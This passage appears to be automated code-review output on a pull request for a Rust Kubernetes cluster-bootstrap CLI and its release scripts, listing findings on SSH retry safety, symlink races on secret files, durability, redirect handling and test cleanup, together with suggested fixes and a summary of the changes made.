sync_all'd; neither the directory entry created byhard_linknor the rename is followed by anfsync/sync_allon the parent directory. On filesystems where a crash can persist the file data but lose the link/rename, the command can return success and then restart with no token (minting a different token) or with the previous token/kubeconfig, while the already-bootstrapped cluster uses the lost/new credential. This would be disproven if the supported filesystem/platform guaranteed metadata persistence for these operations without a directory sync, but Unix filesystem semantics do not provide that guarantee. (k8s_cli/src/manager/state.rs) — per-file-budget - 🟡 Medium The process-global state tests restore cwd and remove the environment variable only after assertions/results, rather than using panic-safe cleanup. In
an_empty_token_file_is_refused,secret_writes_reject_a_symlinked_state_directory, anda_losing_concurrent_token_creation_adopts_the_winner, any panic from setup, the operation, or an assertion leaves the process in the temporary directory (and may leaveK3S_TOKEN_ENVmodified), poisoning unrelated tests; the mutex only serializes these three tests and cannot protect other cwd/environment users. This is disproved if the test harness guarantees these tests cannot panic before cleanup and no other test/process uses cwd or the environment concurrently. (k8s_cli/src/manager/tests.rs) — anchor-unreliable - 🔵 Low
a_losing_concurrent_token_creation_adopts_the_winnerdoes not exercise concurrency at all: it callsread_or_create_k3s_tokentwice sequentially while holding a process-wide mutex. The first call necessarily creates the file and the second only reads it, so thehard_link(... AlreadyExists)losing-writer branch increate_k3s_tokenis never reached. A regression that generates two tokens or mishandles the atomic winner path can therefore pass this test. This is disproved only if another test invokes concurrent creation and deterministically asserts the losing path. (k8s_cli/src/manager/tests.rs) — inline-budget
♻️ Previously reported (still present) (7)
- 🟠 High
read_or_create_k3s_tokendoes not validate that the generated state directory is real before reading an existing token. If.exedev-k8s(or the cluster subdirectory) is a symlink to another directory,path.exists()succeeds andread_regular_filefollows the directory symlink; bootstrap then adopts the external file's token instead of rejecting the redirected state path. This can make one cluster reuse another cluster's credential or let a planted token control the new cluster's server/agent credential. (k8s_cli/src/manager/state.rs) — previously-reported - 🟠 High Rendered/prose fallback can still invent inventory VMs from lowercase error text, causing create decisions to treat a missing VM as present (and potentially bootstrap the fallback host). (k8s_cli/src/manager/parsing.rs) — anchor-unreliable
- 🟡 Medium The resolver rejects valid recursively annotated tags once the chain is deeper than five tag objects. A ref whose object is a tag, whose object is another tag, repeated six times before reaching a commit is a valid Git tag structure, but after five iterations
typeremainstagand the job exits with “does not resolve to a commit”; the same bounded logic is duplicated in verify and confirm. Thus the workflow does not support recursive annotated tags generally, despite the obligation, and a legitimate release cannot be built or published. (.github/workflows/release.yml) — anchor-unreliable - 🟡 Medium The multi-file rewrite is not recoverable from an untrappable interruption: after
APPLIED=1, the script moves each manifest into place one at a time, but restoration exists only in the EXIT trap. If the process is SIGKILLed or the runner/power fails after one or more moves and beforecargo updatecompletes, some workspace manifests are new while the remaining manifests and lockfile are old; no journal or durable commit marker exists to restore them on the next invocation. The stated no-mixed-version invariant is therefore not met for hard interruptions, even though ordinary INT/TERM paths are trapped. This is introduced by the staged-but-sequential apply design. The claim would be false only if the execution environment guaranteed that interruption can never occur between those moves (or discarded the workspace before it can be observed). (scripts/release/set-version.sh) — previously-reported - 🟡 Medium Kubectl subprocesses launched through
run_commandhave no lifetime bound and are not configured withkill_on_drop.kubectl_applyand every metadata label/taint operation use this path, so a hung kubectl (including a stuck exec credential plugin, resolver, or API interaction) can remain indefinitely and the bootstrap cannot reach its timeout/error path. This violates the requirement that local kubectl command lifetimes be bounded and cancellable. (k8s_cli/src/manager/process.rs) — previously-reported - 🟡 Medium Successful staged replacement fsyncs only the temporary file, not the containing directory after
rename. A crash after the rename can therefore lose the directory-entry update (or leave the old entry) despitewrite_secret_filehaving returned success, so the persisted token/kubeconfig is not crash-durable and may revert or disappear; this also undermines the requirement that failure/interruption preserve valid state. (k8s_cli/src/manager/state.rs) — anchor-unreliable - 🔵 Low The wrapper/parser does not preserve remote stdout boundaries:
parse_remote_stdoutremoves every trailing newline before the exit marker withtrim_end_matches('\n'). A successful remote command that intentionally emitsvalue\n\nis returned asvalue, andremote_runmay add at most one newline when displaying it. Thus wrapped scripts change captured/output semantics rather than preserving the command's exact stdout. (k8s_cli/src/manager/process.rs) — previously-reported
❓ Low-evidence leads (not confirmed — verify before acting) (1)
Cargo.locksymlinks are not rejected, so a failed run changes the lockfile's object type and can break the workspace's lockfile location. WithCargo.locksymlinked tobuild/locked/Cargo.lock, the script accepts it ([[ -f ]]), backs up the target contents, thenmv .../Cargo.lock.tmp Cargo.lockreplaces the symlink with a regular file; ifcargo updatefails, cleanup restores the backup as another regular file, permanently deleting the symlink (and a later successful run likewise leaves the symlink replaced). A brokenCargo.locksymlink is treated as a missing lockfile andrm -f Cargo.lockon failure deletes that symlink outright. (scripts/release/set-version.sh)
🤖 Prompt for AI agents — all findings (33)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (7)
In .github/workflows/release.yml, address this finding:
The verify/confirm sequence does not prevent a tag race during publication: after `verify` checks the tag (lines 164-176), an actor can move it before `softprops/action-gh-release` attaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built from `BUILT_SHA` while the tag points elsewhere; `confirm` (lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch.
In k8s_cli/src/manager/mod.rs, address this finding:
New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster.
In k8s_cli/src/manager/process.rs, address this finding:
SSH transport retrying is based only on the absence of the wrapper exit marker; a connection can drop after the remote shell has executed side effects but before the marker is delivered, causing the same bootstrap script to be resent and potentially repeating installs or service starts.
In scripts/release/sync-homebrew-tap.sh, address this finding:
The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After `FORMULA_PARENT_REAL` is checked, the script calls `mktemp` and later `mv` using the original path; if an attacker replaces a checked descendant (for example `tap/Formula/e`) with a symlink to an outside directory, `mktemp` creates the staged file outside the tap and `mv` writes there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run.
Somewhere in the code under review, address this finding:
Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as `["error", "quota exceeded"]` (or a serialized arbitrary string list) to become inventory entries and suppress VM creation.
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (8)
In k8s_cli/src/manager/process.rs around line 310, address this finding:
A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes.
In k8s_cli/src/manager/state.rs around line 74, address this finding:
An existing persisted token is not tightened to mode 0600 when an explicit `K3S_TOKEN` matches it. The environment branch uses `read_regular_file`, which only validates and reads the file; it does not call the handle-based permission restriction used by `read_secret_file`. Thus a prior token file at 0644 remains group/world-readable after a successful override/synchronization call.
In k8s_cli/src/manager/state.rs around line 115, address this finding:
The hard-link adoption path can adopt an unrelated regular file after the `AlreadyExists` result. On losing `hard_link`, the code removes its staging file and then independently opens `path`; another process can replace the destination entry (or win a separate write) in between, and `read_secret_file` validates only that the replacement is a regular file, not that it is the file created by the competing token writer. A concurrent bootstrap can therefore consume a different token and proceed with credentials not matching the server. This is false only if no other process can modify the state directory/destination during this window (for example, an enforced lock or exclusive directory ownership exists), but this function establishes neither.
In scripts/release/check-version.sh around line 11, address this finding:
An explicitly supplied empty argument is silently replaced by `RELEASE_TAG`, so the script can report success for a different version than the caller supplied. For example, with `RELEASE_TAG=v1.2.3`, `check-version.sh ''` exits successfully and prints `1.2.3` instead of rejecting the malformed empty tag. This violates the stated 'RELEASE_TAG is used when no argument is given' behavior and can make a wrapper validate an ambient value after accidentally passing an empty tag. The claim would be false if callers are guaranteed never to pass an empty positional argument or if empty is intentionally defined as equivalent to omission.
In scripts/release/set-version.sh around line 96, address this finding:
A concurrent invocation can leave a mixed-version workspace and overwrite rollback data because the script has no repository-wide lock. Two processes can both pass `require_free_sibling` before either creates its staging files, then interleave their `cp`/`mv` operations; for example one can install version A's `core/Cargo.toml` while the other installs version B's `cli/Cargo.toml` and root manifest, and their `.bak` files can overwrite each other so EXIT cleanup cannot restore the original state.
In k8s_cli/src/manager/parsing.rs around line 135, address this finding:
Malformed nonempty `ssh_dest` values are treated as authoritative instead of falling back to `<vm>.exe.xyz`. For example, an API object `{ "vm_name":"vm-1", "ssh_dest":"vm-1.exe.xyz other-arg" }` is stored unchanged and passed as one SSH destination; OpenSSH cannot parse it as a valid host target, so bootstrap fails even though the documented hostname fallback is usable. The same applies to values containing shell/control whitespace or other invalid destination syntax.
In k8s_cli/src/manager/tests.rs around line 188, address this finding:
Inventory parser tests do not cover objects containing both a generic `name` and exe.dev's authoritative `vm_name`, so the current key precedence regression is undetectable. `VM_NAME_KEYS` checks `name` before `vm_name`; for `{ "name":"display-name", "vm_name":"authoritative-name", "ssh_dest":"..." }`, both `parse_vm_names` and `parse_ssh_destinations` index the VM under `display-name`, causing the authoritative destination to be associated with the wrong fleet node. The existing fixtures use only one name spelling per object and therefore pass. This candidate is disproved if the exe.dev contract guarantees these fields can never coexist (or if generic `name` is authoritative when they do).
In k8s_cli/src/manager/tests.rs around line 416, address this finding:
The failure-path test `secret_write_failure_leaves_the_previous_secret_intact` is platform/user dependent: it assumes chmod 0500 prevents the test process from creating the staging file. Under root (and on platforms/filesystems that ignore Unix mode enforcement), `write_secret_file` succeeds, so `unwrap_err()` panics; because cleanup is after the assertion, the temporary directory can also be left behind. This is disproved if the test suite explicitly excludes root/non-Unix environments or runs with a guaranteed permission-denied filesystem fixture.
## Additional findings on this change (not posted inline) (11)
In core/src/client.rs around line 36, address this finding:
The HTTPS-only check is bypassable via redirects: reqwest::Client::new() follows redirects by default, so a server at the initially validated HTTPS endpoint can return a 307/308 redirect and cause the POST command body to be resent to another endpoint, including an http:// URL. In the HTTP case this sends the command in cleartext; even for an HTTPS cross-host redirect it discloses the command to an endpoint that was never validated. Bearer handling does not protect the command body, and same-host redirects can also retain the Authorization header.
In k8s_cli/src/fleet.rs around line 131, address this finding:
Fleet validation permits duplicate generated VM/node names, so bootstrap can silently skip one planned node or target the wrong role/pool.
In k8s_cli/src/manager/state.rs, address this finding:
Reading persisted generated tokens does not validate the state-directory components before opening the file. With `.exedev-k8s` or the per-cluster directory as a symlink to another real directory, `path.exists()` is true and `open_regular_file` follows the symlink, so an unrelated file outside the state directory is adopted as the cluster token. The real-directory check is only reached from `prepare_secret_parent`, which is not called on this read path.
In k8s_cli/src/manager/state.rs, address this finding:
The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after `ensure_real_directories` returns but before staging/rename. An attacker able to modify the working directory can replace `.exedev-k8s` or the cluster directory with a symlink in that window; subsequent `OpenOptions::open` follows it and writes the secret outside the state directory. The same pathname race affects reads because `symlink_metadata` checks the final entry while parent components are followed during `File::open`.
In k8s_cli/src/manager/mod.rs around line 290, address this finding:
Existing-mode status reports control-plane metadata drift even though bootstrap intentionally never reconciles that node.
In k8s_cli/src/manager/process.rs around line 236, address this finding:
Several SSH failure paths lose the actual VM name. `capture_remote_ssh_output` accepts only argv and reports spawn failures as `failed to run ssh`, timeouts as `remote command on this VM...`, and wait/write errors without identifying the VM; `remote_command_output` does not add VM context around that call. During bootstrap, callers such as `install_tailscale` and `install_k3s_agent` therefore return errors that cannot tell which fleet VM failed, contrary to the required actionable VM-context diagnostics.
In k8s_cli/src/manager/state.rs around line 111, address this finding:
If the process is interrupted after the hard link succeeds but before `remove_file(&staged)`, the random staging pathname remains as a second hard link to the live token. On a later run, the normal destination read succeeds but the credential-bearing `.tmp` artifact is never discovered or cleaned, violating the requirement that interrupted operations not leave stale temporary files.
In k8s_cli/src/manager/state.rs around line 159, address this finding:
The state-directory symlink defense is vulnerable to a TOCTOU race: `ensure_real_directories` checks the parent path and then `stage_secret` opens a pathname later, so a local attacker can replace `.exedev-k8s` (or a cluster subdirectory) with a symlink after the check and redirect the staged token/kubeconfig into an attacker-chosen directory. The final rename then publishes the secret at that redirected location. The existing symlink test only covers a static symlink and does not exercise this interleaving.
In k8s_cli/src/manager/state.rs around line 176, address this finding:
Successful secret writes are not durable across a crash because only the staged file is `sync_all`'d; neither the directory entry created by `hard_link` nor the rename is followed by an `fsync`/`sync_all` on the parent directory. On filesystems where a crash can persist the file data but lose the link/rename, the command can return success and then restart with no token (minting a different token) or with the previous token/kubeconfig, while the already-bootstrapped cluster uses the lost/new credential. This would be disproven if the supported filesystem/platform guaranteed metadata persistence for these operations without a directory sync, but Unix filesystem semantics do not provide that guarantee.
In k8s_cli/src/manager/tests.rs, address this finding:
The process-global state tests restore cwd and remove the environment variable only after assertions/results, rather than using panic-safe cleanup. In `an_empty_token_file_is_refused`, `secret_writes_reject_a_symlinked_state_directory`, and `a_losing_concurrent_token_creation_adopts_the_winner`, any panic from setup, the operation, or an assertion leaves the process in the temporary directory (and may leave `K3S_TOKEN_ENV` modified), poisoning unrelated tests; the mutex only serializes these three tests and cannot protect other cwd/environment users. This is disproved if the test harness guarantees these tests cannot panic before cleanup and no other test/process uses cwd or the environment concurrently.
In k8s_cli/src/manager/tests.rs around line 705, address this finding:
`a_losing_concurrent_token_creation_adopts_the_winner` does not exercise concurrency at all: it calls `read_or_create_k3s_token` twice sequentially while holding a process-wide mutex. The first call necessarily creates the file and the second only reads it, so the `hard_link(... AlreadyExists)` losing-writer branch in `create_k3s_token` is never reached. A regression that generates two tokens or mishandles the atomic winner path can therefore pass this test. This is disproved only if another test invokes concurrent creation and deterministically asserts the losing path.
## Previously reported and still present (7)
In k8s_cli/src/manager/state.rs around line 84, address this finding:
`read_or_create_k3s_token` does not validate that the generated state directory is real before reading an existing token. If `.exedev-k8s` (or the cluster subdirectory) is a symlink to another directory, `path.exists()` succeeds and `read_regular_file` follows the directory symlink; bootstrap then adopts the external file's token instead of rejecting the redirected state path. This can make one cluster reuse another cluster's credential or let a planted token control the new cluster's server/agent credential.
In k8s_cli/src/manager/parsing.rs, address this finding:
Rendered/prose fallback can still invent inventory VMs from lowercase error text, causing create decisions to treat a missing VM as present (and potentially bootstrap the fallback host).
In .github/workflows/release.yml, address this finding:
The resolver rejects valid recursively annotated tags once the chain is deeper than five tag objects. A ref whose object is a tag, whose object is another tag, repeated six times before reaching a commit is a valid Git tag structure, but after five iterations `type` remains `tag` and the job exits with “does not resolve to a commit”; the same bounded logic is duplicated in verify and confirm. Thus the workflow does not support recursive annotated tags generally, despite the obligation, and a legitimate release cannot be built or published.
In scripts/release/set-version.sh around line 167, address this finding:
The multi-file rewrite is not recoverable from an untrappable interruption: after `APPLIED=1`, the script moves each manifest into place one at a time, but restoration exists only in the EXIT trap. If the process is SIGKILLed or the runner/power fails after one or more moves and before `cargo update` completes, some workspace manifests are new while the remaining manifests and lockfile are old; no journal or durable commit marker exists to restore them on the next invocation. The stated no-mixed-version invariant is therefore not met for hard interruptions, even though ordinary INT/TERM paths are trapped. This is introduced by the staged-but-sequential apply design. The claim would be false only if the execution environment guaranteed that interruption can never occur between those moves (or discarded the workspace before it can be observed).
In k8s_cli/src/manager/process.rs around line 178, address this finding:
Kubectl subprocesses launched through `run_command` have no lifetime bound and are not configured with `kill_on_drop`. `kubectl_apply` and every metadata label/taint operation use this path, so a hung kubectl (including a stuck exec credential plugin, resolver, or API interaction) can remain indefinitely and the bootstrap cannot reach its timeout/error path. This violates the requirement that local kubectl command lifetimes be bounded and cancellable.
In k8s_cli/src/manager/state.rs, address this finding:
Successful staged replacement fsyncs only the temporary file, not the containing directory after `rename`. A crash after the rename can therefore lose the directory-entry update (or leave the old entry) despite `write_secret_file` having returned success, so the persisted token/kubeconfig is not crash-durable and may revert or disappear; this also undermines the requirement that failure/interruption preserve valid state.
In k8s_cli/src/manager/process.rs around line 359, address this finding:
The wrapper/parser does not preserve remote stdout boundaries: `parse_remote_stdout` removes every trailing newline before the exit marker with `trim_end_matches('\n')`. A successful remote command that intentionally emits `value\n\n` is returned as `value`, and `remote_run` may add at most one newline when displaying it. Thus wrapped scripts change captured/output semantics rather than preserving the command's exact stdout.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 7 of 7 areas reviewed
| // Any stdout at all means the remote shell reached the script, whether or | ||
| // not the exit marker made it back, so resending would repeat whatever it | ||
| // had already done. Only an exchange that produced nothing is retried. | ||
| let remote_ran = !output.stdout.is_empty(); |
There was a problem hiding this comment.
🔀 Concurrency | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/process.rs, address this finding:
A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes.
| if path.exists() { | ||
| let file_token = fs::read_to_string(&path) | ||
| .with_context(|| format!("failed to read {}", path.display()))?; | ||
| let file_token = read_regular_file(&path)?; |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/state.rs, address this finding:
An existing persisted token is not tightened to mode 0600 when an explicit `K3S_TOKEN` matches it. The environment branch uses `read_regular_file`, which only validates and reads the file; it does not call the handle-based permission restriction used by `read_secret_file`. Thus a prior token file at 0644 remains group/world-readable after a successful override/synchronization call.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| let file_token = read_regular_file(&path)?; | |
| let file_token = read_secret_file(&path)?; |
| let _ = fs::remove_file(&staged); | ||
| Ok(token) | ||
| } | ||
| Err(err) if err.kind() == io::ErrorKind::AlreadyExists => { |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/state.rs, address this finding:
The hard-link adoption path can adopt an unrelated regular file after the `AlreadyExists` result. On losing `hard_link`, the code removes its staging file and then independently opens `path`; another process can replace the destination entry (or win a separate write) in between, and `read_secret_file` validates only that the replacement is a regular file, not that it is the file created by the competing token writer. A concurrent bootstrap can therefore consume a different token and proceed with credentials not matching the server. This is false only if no other process can modify the state directory/destination during this window (for example, an enforced lock or exclusive directory ownership exists), but this function establishes neither.
| # the point it is resolved, before four matrix builds check out and install a | ||
| # toolchain only to fail on the same string. | ||
|
|
||
| VERSION="${1:-${RELEASE_TAG:-}}" |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/check-version.sh, address this finding:
An explicitly supplied empty argument is silently replaced by `RELEASE_TAG`, so the script can report success for a different version than the caller supplied. For example, with `RELEASE_TAG=v1.2.3`, `check-version.sh ''` exits successfully and prints `1.2.3` instead of rejecting the malformed empty tag. This violates the stated 'RELEASE_TAG is used when no argument is given' behavior and can make a wrapper validate an ambient value after accidentally passing an empty tag. The claim would be false if callers are guaranteed never to pass an empty positional argument or if empty is intentionally defined as equivalent to omission.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| VERSION="${1:-${RELEASE_TAG:-}}" | |
| VERSION="${1-${RELEASE_TAG:-}}" |
| # The staging and backup names are derived from the target, so anything already | ||
| # sitting at one of them would be written through (a symlink there redirects the | ||
| # rewrite outside the workspace) and then deleted by the cleanup below. | ||
| require_free_sibling() { |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
A concurrent invocation can leave a mixed-version workspace and overwrite rollback data because the script has no repository-wide lock. Two processes can both pass `require_free_sibling` before either creates its staging files, then interleave their `cp`/`mv` operations; for example one can install version A's `core/Cargo.toml` while the other installs version B's `cli/Cargo.toml` and root manifest, and their `.bak` files can overwrite each other so EXIT cleanup cannot restore the original state.
| .map(str::trim) | ||
| .filter(|value| !value.is_empty()) | ||
| }; | ||
| if let Some(dest) = text("ssh_dest").or_else(|| text("sshDest")) { |
There was a problem hiding this comment.
🔍 Compatibility | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The normal exe.dev API contract may guarantee that ssh_dest is valid, but this code has no validation or fallback when the field violates that contract.
🤖 Prompt for AI agents
In k8s_cli/src/manager/parsing.rs, address this finding:
Malformed nonempty `ssh_dest` values are treated as authoritative instead of falling back to `<vm>.exe.xyz`. For example, an API object `{ "vm_name":"vm-1", "ssh_dest":"vm-1.exe.xyz other-arg" }` is stored unchanged and passed as one SSH destination; OpenSSH cannot parse it as a valid host target, so bootstrap fails even though the documented hostname fallback is usable. The same applies to values containing shell/control whitespace or other invalid destination syntax.
| } | ||
|
|
||
| #[test] | ||
| fn parses_ssh_destinations_from_ls_json() { |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The repository does not include the exe.dev server implementation, so it cannot establish whether the live service ever emits bothnameandvm_name; however, the parser explicitly supports both keys and the documented authoritative identity field isvm_name.
🤖 Prompt for AI agents
In k8s_cli/src/manager/tests.rs, address this finding:
Inventory parser tests do not cover objects containing both a generic `name` and exe.dev's authoritative `vm_name`, so the current key precedence regression is undetectable. `VM_NAME_KEYS` checks `name` before `vm_name`; for `{ "name":"display-name", "vm_name":"authoritative-name", "ssh_dest":"..." }`, both `parse_vm_names` and `parse_ssh_destinations` index the VM under `display-name`, causing the authoritative destination to be associated with the wrong fleet node. The existing fixtures use only one name spelling per object and therefore pass. This candidate is disproved if the exe.dev contract guarantees these fields can never coexist (or if generic `name` is authoritative when they do).
|
|
||
| // A read-only directory fails the staged create, standing in for any I/O | ||
| // error partway through replacing the file. | ||
| std::fs::set_permissions(&dir, std::fs::Permissions::from_mode(0o500)).unwrap(); |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The repository's CI execution user and filesystem type are not shown, so the failure may not occur in the project's usual environments.
🤖 Prompt for AI agents
In k8s_cli/src/manager/tests.rs, address this finding:
The failure-path test `secret_write_failure_leaves_the_previous_secret_intact` is platform/user dependent: it assumes chmod 0500 prevents the test process from creating the staging file. Under root (and on platforms/filesystems that ignore Unix mode enforcement), `write_secret_file` succeeds, so `unwrap_err()` panics; because cleanup is after the assertion, the temporary directory can also be left behind. This is disproved if the test suite explicitly excludes root/non-Unix environments or runs with a guaranteed permission-denied filesystem fixture.
exe.dev names its field `vm_name`, but the key list checked the generic `name` first, so a record carrying both was indexed under a display name and its destination attached to a node that does not exist. A nonempty but malformed `ssh_dest` — one carrying whitespace or control characters — was also passed to ssh verbatim, failing in a way that reads as the VM being unreachable; such a value is now left out so the `<vm>.exe.xyz` fallback still applies. Secret handling: the K3S_TOKEN branch read through a path that never tightened permissions, so a token file left at 0644 stayed that way; reads did not check that the state directory was real, so a symlinked `.exedev-k8s` had an outside file adopted as the cluster credential; and only the staged file was flushed, not the directory entry the rename or link created, so a crash could lose the name a returned-successful write had published. `--endpoint` was validated once for https but reqwest followed redirects, so the endpoint could bounce the command, and the token on a same-host hop, somewhere never checked. Redirects are no longer followed. Fleet validation accepted two pools expanding to the same VM name, which collapses two planned nodes into one with whichever role the plan visits last. `run_command` now dies with a cancelled future, ssh failures carry the VM they belong to, and the wrapper strips exactly its own trailing newline rather than every one, which was rewriting the stdout of commands ending in a blank line. check-version.sh treated an explicitly empty argument as no argument and validated the ambient RELEASE_TAG instead. set-version.sh takes a lock, since two runs could otherwise interleave their moves and overwrite each other's backups. Tests: the process-global ones restore the working directory and environment through a guard rather than after their assertions, the permission-based failure test confirms the denial it depends on instead of assuming it, and the losing-writer branch of token creation is now exercised deliberately rather than by two sequential calls that never reach it.
There was a problem hiding this comment.
Actionable comments posted: 2
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
k8s_cli/src/manager/state.rs (1)
74-90: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winNormalize the environment token before you store and return it.
The environment branch returns
tokenunchanged, but the stored-file branch at Line 92 returnsread_secret_file(...).trim(). IfK3S_TOKENcontains surrounding whitespace, the two paths produce different credentials for the same cluster. The comparison at Line 82 also compares a trimmed file value against an untrimmed environment value, so the file is rewritten on every run and never matches.Trim once, then use the trimmed value for the comparison, the write, and the return value.
🐛 Proposed fix to normalize the environment token
if let Ok(token) = env::var(K3S_TOKEN_ENV) { // An exported but empty value would otherwise become the cluster // credential for the server and every agent. - if token.trim().is_empty() { + let token = token.trim().to_string(); + if token.is_empty() { bail!("{K3S_TOKEN_ENV} is set but empty"); } if path.exists() { let file_token = read_secret_file(&path)?; if file_token.trim() != token { write_secret_file(&path, &token) .with_context(|| format!("failed to update {}", path.display()))?; } } else { write_secret_file(&path, &token)?; } return Ok(token); }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@k8s_cli/src/manager/state.rs` around lines 74 - 90, Normalize the K3S_TOKEN_ENV value once in the environment branch before any comparison or persistence. Use the trimmed token for comparing with read_secret_file(&path), writing via write_secret_file, and returning from the branch, while preserving the existing empty-token validation.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@core/src/client.rs`:
- Around line 36-42: Change the client constructor in core/src/client.rs to
return Result<Self> and propagate the error from
reqwest::Client::builder().redirect(...).build() instead of falling back to
Client::new(). Update all callers in cli/src/lib.rs and
k8s_cli/src/manager/mod.rs to handle the constructor’s Result and propagate or
otherwise appropriately return the error.
In `@scripts/release/set-version.sh`:
- Around line 77-79: Update cleanup_staged so release_lock occurs only after
restoring backups and removing sibling files, keeping the lock held throughout
cleanup. Preserve lock release when the target is empty and when cleanup fails
by ensuring all return and failure paths release the lock exactly once.
---
Outside diff comments:
In `@k8s_cli/src/manager/state.rs`:
- Around line 74-90: Normalize the K3S_TOKEN_ENV value once in the environment
branch before any comparison or persistence. Use the trimmed token for comparing
with read_secret_file(&path), writing via write_secret_file, and returning from
the branch, while preserving the existing empty-token validation.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 5046357f-b1d4-484a-8949-41a7535f15b6
📒 Files selected for processing (8)
core/src/client.rsk8s_cli/src/fleet.rsk8s_cli/src/manager/parsing.rsk8s_cli/src/manager/process.rsk8s_cli/src/manager/state.rsk8s_cli/src/manager/tests.rsscripts/release/check-version.shscripts/release/set-version.sh
🚧 Files skipped from review as they are similar to previous changes (3)
- scripts/release/check-version.sh
- k8s_cli/src/manager/parsing.rs
- k8s_cli/src/manager/process.rs
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
- GitHub Check: winnowl/review
🔇 Additional comments (6)
k8s_cli/src/manager/tests.rs (2)
561-584:StateSandboxstill clearsK3S_TOKENinstead of restoring it.
enterremovesK3S_TOKEN, andDropremoves it again. A value that the caller exported before the test run is lost for every later test in the same process. Capturestd::env::var_os(K3S_TOKEN_ENV)inenterand restore it inDrop.
407-439: LGTM!Also applies to: 586-615, 693-770
k8s_cli/src/manager/state.rs (1)
113-133: LGTM!Also applies to: 145-172
k8s_cli/src/fleet.rs (1)
3-7: LGTM!Also applies to: 129-137, 192-204
core/src/client.rs (1)
46-55: LGTM!scripts/release/set-version.sh (1)
62-70: LGTM!Also applies to: 72-76, 102-104
There was a problem hiding this comment.
Actionable comments posted: 1
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (1)
- 🟡 Medium Metadata reconciliation fails to remove an old owned taint when its key is reused with a different effect.
